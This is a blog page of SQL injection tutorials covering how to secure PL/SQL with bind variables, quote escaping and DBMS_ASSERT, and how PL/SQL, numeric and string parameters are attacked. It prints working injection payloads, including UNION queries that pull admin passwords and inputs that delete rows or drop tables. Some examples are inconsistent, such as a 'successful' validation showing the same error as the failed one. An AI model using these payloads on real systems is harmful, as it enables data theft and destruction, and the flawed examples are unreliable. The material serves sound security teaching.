Secure PL/SQL

08:51 Unknown 0 Comments

Secure PL/SQL

Prevent SQL injection attacks against PL/SQL
As explained in the article about SQL injection attacks against PL/SQL, it is possible to create procedures vulnerable to SQLIA. This article details how you can secure PL/SQL code against SQL injections by making only a few programming changes.

Bind Variables

Bind parameters are by far the best way to protect your PL/SQL code against SQL injection vulnerabilities. In short, binding the variables of a procedure will provide great performance gain in addition to be totally secure. It is the equivalent of parameterized stored procedures. Here is an example of secure PL/SQL code which uses bind arguments:
BIND VARIABLES WITH EXECUTE IMMEDIATE.
CREATE OR REPLACE PROCEDURE testBind(vname IN VARCHAR2) AS
BEGIN
   EXECUTE IMMEDIATE 'UPDATE products set price = price-1 where name = :1' USING vname;
COMMIT;
END;
The same logic is applied when using bind variables with dynamic cursors. Below is a secured version of an example presented in the article about PL/SQL attacks:
BIND VARIABLES WITH DYNAMIC CUSOR.
CREATE OR REPLACE PROCEDURE putlineDesc ( vname IN VARCHAR2 ) AS
   TYPE rcursor IS REF CURSOR;
   cur rcursor;
   vdesc VARCHAR2(1000);
   vsql VARCHAR2(4000);
BEGIN
   vsql := 'SELECT CUST_LAST_NAME FROM DEMO_CUSTOMERS WHERE CUST_FIRST_NAME=:1';
   OPEN cur FOR vsql USING vname;
   LOOP
      FETCH cur INTO vdesc;
      EXIT WHEN cur%NOTFOUND;
      dbms_output.put_line(vdesc);
   END LOOP;
   CLOSE cur;
END;
In the two last examples,we explicitly indicate that we want to use bind variables.

Automated Bind Variables

To simplify developers' job but also to improve performance, PL/SQL takes care of using bind variables everywhere it can even if it is not explicitly indicated. Therefore, every reference to a PL/SQL variable is in fact a bind variable. Below is an example of such case.
PL/SQL IS PROTECTED BECAUSE VARIABLE REFERENCE IS EQUIVALENT TO BIND VARIABLE.
CREATE OR REPLACE PROCEDURE plusTenPrice(vname IN VARCHAR2) AS
BEGIN
   UPDATE products
      SET price = price + 10
      WHERE name = vname;
   COMMIT;
END;
It is a great security enhancement but it does not change the fact that programmers will still have to be really careful when building dynamic queries within PL/SQL code.

Sanitize Input

The other way to secure the code would be to sanitize all input like covered in the article about input sanitization. Because all PL/SQL parameters are defined with a fixed data type, only text (VARCHAR) parameters can be vulnerable. Consequently, they are the only parameters that must be validated. The sanitazation can be done in the API code or within the PL/SQL code, but principle is the same.

Escaping Quotes

The first step to secure string parameters is to escape single quotes. It can be done by doubling them as shown below.
ESCAPING SINGLE QUOTES IN PL/SQL.
vsecure  := replace(param, '''', '''''');

AN EQUIVALENT AND LESS CONFUSING VERSION OF THE LAST REPLACE.
vsecure := replace(param, CHR(39), CHR(39)||CHR(39));
Most cases will then be secured. However you might need to replace wildcards.

Wildcards

Oracle only uses two wildcards; characters “%” and “_”. When user input gets integrated with the LIKE operator, it is strongly recommended to escape those characters. It can be done by adding a chosen character before those wildcards and by adding an ESCAPE clause at the end of the query. The ESCAPE clause specifies the escape character used in the query (it can be any character). A common example would be as follows:
ESCAPING WILDCARDS IN PL/SQL (GIVEN A QUOTE ESCAPED VARIABLE "PARAM").
vsecure := replace(param, '\', '\\');
vsecure := replace(vsecure, '_', '\_');
vsecure := replace(vsecure, '%', '\%');
vsql := 'SELECT description FROM product WHERE name LIKE ''' || vsecure || ''' ESCAPE ''\''';
In this case, the escape character is the backslash (\).

DBMS_ASSERT

Since 10g version, Oracle provide the DBMS_ASSERT package. It contains functions that can be used to validate user input. Even if the data source is considered as trusted, it is recommended to always use these functions when building dynamic queries. Here's a quick overview of this package's functions:
  • NOOP - Returns string without validation (should never be used to secure against SQL injections).
  • ENQUOTE_LITERAL - Enquotes a string literal and makes sure no individual single quote are found.
  • ENQUOTE_NAME - Encloses a name in double quotes.
  • QUALIFIED_SQL_NAME - Verifies that the input string is a qualified SQL name.
  • SCHEMA_NAME - Verifies that the input string is an existing schema name.
  • SIMPLE_SQL_NAME - Verifies that the input string is a simple SQL name.
  • SQL_OBJECT_NAME - Verifies that the input parameter string is a qualified SQL identifier of an existing SQL object.
Examples below present a successful and a failed validation. In reality, validation should be done on variables or parameters but a literal string is used for demonstration purpose. Both examples are similar, but the first one is SQL injection safe. It could represent the value of a correctly sanitized malicious parameter.
VALIDATING CORRECT INPUT.
SELECT description FROM products WHERE name=DBMS_ASSERT.ENQUOTE_LITERAL('abc'''' OR 1=1--');

VALUE RETURNED.
ORA-06502: PL/SQL: numeric or value error
Now the failed validation (SQL Injection attempt).
VALIDATING INCORRECT INPUT (CONTAINS AN INDIVIDUAL SINGLE QUOTE).
SELECT description FROM products WHERE name=DBMS_ASSERT.ENQUOTE_LITERAL('abc'' OR 1=1--');

ERROR RETURNED.
ORA-06502: PL/SQL: numeric or value error
As you can see, in the second example an error is thrown and the PL/SQL script would stop where the ENQUOTE_LITERAL function was called.

Reference


If you want more information about creating secure PL/SQL code, you might be interested by this Oracle's white paper. It is one of the best reference about the topic.

0 nhận xét:

PL/SQL Attacks

07:12 Unknown 0 Comments

Understand SQL injection attacks against PL/SQL
PL/SQL, like stored procedures, can be vulnerable to SQL injection attacks. When PL/SQL code integrates user input into a query and executes it, we encounter exactly the same problem we have when we build a classic dynamic query. In most cases, the attack is pretty similar to those presented in the tutorial. This article presents the different ways and situations where PL/SQL produres can be attacked. If you are interested to learn how to secure PL/SQL, take a look at the article about preventing PL/SQL against SQL injections.

Execute Immediate

This statement allows to execute a dynamic SQL query or an anonymous PL/SQL block. Let’s take a look at the code of avulnerable PL/SQL procedure using EXECUTE IMMEDIATE statement. Keep in mind that this example was built for demonstration purposes only and you are not likely to find similar code in real situations.
THIS PL/SQL CODE RETURNS A PRODUCT'S DESCRIPTION (SECOND PARAMETER).
CREATE OR REPLACE PROCEDURE prodDescr(vname IN VARCHAR2, vresult OUT VARCHAR2) AS
   vsql    VARCHAR2(4000);
BEGIN
   vsql := 'SELECT description FROM products WHERE name=''' || vname || '''';
   EXECUTE IMMEDIATE vsql INTO vresult;
END;
The parameter is integrated in the query without being sanitized and a SQL injection vulnerability is created. Here is how it could be attacked.
MALICIOUS USER INPUT.
A' AND 1=2 UNION SELECT password FROM members WHERE username='admin

GENERATED QUERY.
SELECT description FROM products WHERE name='A' OR 1=2 UNION SELECT password FROM members WHERE username='admin'
When the query is executed, the attacker gets the administrator’s password. It is important to mention that Oracle does not allow executing multiple SQL statements in a single dynamic SQL call. The attacker will therefore be mostly limited to UNION attacks and WHERE clause manipulations. Nevertheless, it is possible to batch queries in the same call to EXECUTE IMMEDIATE when anonymous PL/SQL blocks are used.

Anonymous PL/SQL blocks

Using anonymous PL/SQL blocks in an application is a fast way to get a query executed, however it can become extremely dangerous when using it with dynamic queries. It is especially interesting from the attacker perspective since it will be possible to inject multiple SQL statements. Here is an example of vulnerable anonymous block.
PL/SQL PROCEDURE TO INCREASE THE PRICE OF A PRODUCT BY $1.
CREATE OR REPLACE PROCEDURE increasePrice ( vname IN VARCHAR2 ) AS
BEGIN
   EXECUTE IMMEDIATE 'BEGIN UPDATE products SET price = price+1 WHERE name=''' || vname || '''; END;';
END increasePrice;
If you are wondering what an attack might look like for this particular PL/SQL here is an example:
MALICIOUS USER INPUT.
zzzz'; DELETE FROM products WHERE 'a'='a

GENERATED QUERY.
UPDATE products SET price = price+1 WHERE name'zzzz'; DELETE FROM products WHERE 'a'='a'
With this crafted input, the anonymous PL/SQL block will increase the price of all products named zzzz and it will then delete all products in the database.

Dynamic Cursors

PL/SQL allows dynamic cursors. They can be vulnerable to SQL injection too since they are dynamically generated just asexecute immediate. Here is an example of vulnerable code.
THIS PL/SQL DOES NOTHING - SIMPLY USING DBMS_OUTPUT FOR DEMONSTRATION PURPOSE.
CREATE OR REPLACE PROCEDURE putlineDesc ( vname IN VARCHAR2 ) AS
   TYPE rcursor IS REF CURSOR;
   cur rcursor;
   vdesc VARCHAR2(1000);
   vsql VARCHAR2(4000);
BEGIN
   vsql := 'SELECT description FROM products WHERE name=''' || vname || '''';
   OPEN cur FOR vsql;
   LOOP
      FETCH cur INTO vdesc
      EXIT WHEN cur%NOTFOUND;
      dbms_output.put_line(vdesc);
   END LOOP;
   CLOSE cur;
END;
The attack is pretty classic for this case. In fact, it could be identic to the first attack example shown in this article. Let's take a look at it.
MALICIOUS INPUT
A' AND 1=2 UNION SELECT password FROM members WHERE username='admin

GENERATED QUERY.
SELECT description FROM products WHERE name=A' AND 1=2 UNION SELECT password FROM members WHERE username='admin
Here again, all passwords would be returned to the attacker.

Limitations


When attacking vulnerable PL/SQL code, you need to be aware that only string parameters can be exploited. Because the procedure defines parameter's data type, you will not be able to insert SQL segments in numeric values. Another common limitation with PL/SQL attacks is that it will be impossible to use DDL (Data Definition Language) except if function or procedure is idenfied as a PRAGMA_TRANSACTION.

0 nhận xét:

SQL Injection Attacks and Numeric Parameters

06:48 Unknown 0 Comments

Understanding numeric SQL injection
Attacks against numeric parameters are the simplest way to achieve a SQL injection. This kind of vulnerability is also widely spread since developers often consider that numeric parameters are safe when in most cases they are not. Let's now see how and why it is possible to inject SQL segments in this case.

Numeric Parameter Injection Example

The best way to demonstrate how SQL injection in numeric parameters works is probably by covering an example. Let’s take a webpage that shows information about a product. The product displayed is indicated in the URL via a GET parameter named id. Here is what the URL looks like when a regular user views a product.
ID PARAMETER IN URL
http://www.victim.com/viewProduct.php?id=1
The script behind this webpage does the following.
BUILDING THE QUERY WITHOUT SANITIZING INPUT.
$sql = "SELECT id, name, description FROM products WHERE id=".$_GET['id'];

QUERY GENERATED (THIS QUERY IS EXECUTED).
SELECT id, name, description FROM products WHERE id=1
As expected, the product which has id 1 is displayed in the webpage. Now what happens if an attacker manipulates the WHERE clause by submitting a specially crafted parameter?
URL VISITED BY THE ATTACKER (CRAFTED PARAMETER).
http://www.victim.com/viewProduct.php?id=1 OR 1=1

QUERY GENERATED.
SELECT id, name, description FROM products WHERE id=1 OR 1=1
This case is pretty inoffensive since the webpage simply shows all products contained in the database. However, the attacker could inject a SQL segment that would have a much bigger impact.
PARAMETER SUBMITTED BY THE ATTACKER.
1; DROP TABLE products

QUERY GENERATED.
SELECT id, name, description FROM products WHERE id=1; DROP TABLE products
As you can guess, this SQL injection attack would delete all products in the database by executing a second query after the initial SELECT. This technique is detailled in the article about stacked queries attacks.

Weak Data Typing

Injecting text (SQL segments) into numeric parameter is definitively counter intuitive. Nevertheless, it is possible because weakly typed languages, like PHP, do not force variables to keep their initial data type. As a result, it is possible to insert a crafted SQL statement in parameters that were supposed to contain numeric values. Obviously, it is a perfect situation for attackers to submit SQL segments and manipulate the query.

Quoted Numeric Parameters


Many DBMS support queries where numeric values are surrounded by single quotes. When testing for vulnerabilities you must keep this possibility in mind. Which means you also need to test numeric parameters as if they were text parameters.

0 nhận xét:

String Parameter Injection Example

06:46 Unknown 0 Comments

Let’s suppose the page we are testing has GET parameter named username. When loaded, it displays the full name and email of the specified member. Here is what the URL looks like when a regular request is made.

REAL USERNAME PARAMETER IN URL.
http://www.victim.com/viewMember.php?username=admin
And now an overview of what happens in the page’s script.
BUILDING THE QUERY WITHOUT SANITIZING INPUT.
$sql = "SELECT id, username, first_name, last_name, email FROM members WHERE username='".$_GET['username']."'";

QUERY QENERATED (THIS QUERY IS EXECUTED).
SELECT id, username, first_name, last_name, email FROM members WHERE username='admin'
The user input is integrated as is. Therefore, the attacker can insert SQL segments and manipulate the WHERE clause. However, before gaining control over the query, he must simulate the end of the parameter. He must also handle the original closing quote to make a valid SQL query. Let's see how it is done.

Closing Quote

Since no input sanitizing is made, the first quote appearing in the input will be considered as the closing quote.
PARAMETER SUBMITTED BY THE ATTACKER (ADDING A CLOSING QUOTE).
admin'

QUERY GENERATED (INVALID SQL SYNTAX).
SELECT id, username, first_name, last_name, email FROM members WHERE username='admin''

Trailing Quote

The last query is invalid because of the remaining single quote. When the tester adds an always true condition with a missing quote, the sql injection is successful.
PARAMETER SUBMITTED BY THE ATTACKER (NOTICE THE MISSING LAST QUOTE).
admin' OR 'a'='a

QUERY GENERATED (VALID QUERY).
SELECT id, username, first_name, last_name, email FROM members WHERE username='admin' OR 'a'='a'
By making the WHERE clause always true, the attacker will view information about all users at once. This is not a security problem since information could have been retrieved manually. However here is what he could have done.
MALICIOUS PARAMETER.
invalid-username' UNION SELECT 1, username, passwords FROM members WHERE 'x'='x

QUERY GENERATED.
SELECT id, username, first_name, last_name, email FROM members WHERE username='invalid-username' UNION SELECT 1, username, passwords FROM members WHERE 'x'='x'
As you can guess, this would list all username and passwords in the database. This technique is detailed in the SQL injection UNION attacks article.

0 nhận xét:

Đăng ký: Bài đăng (Atom)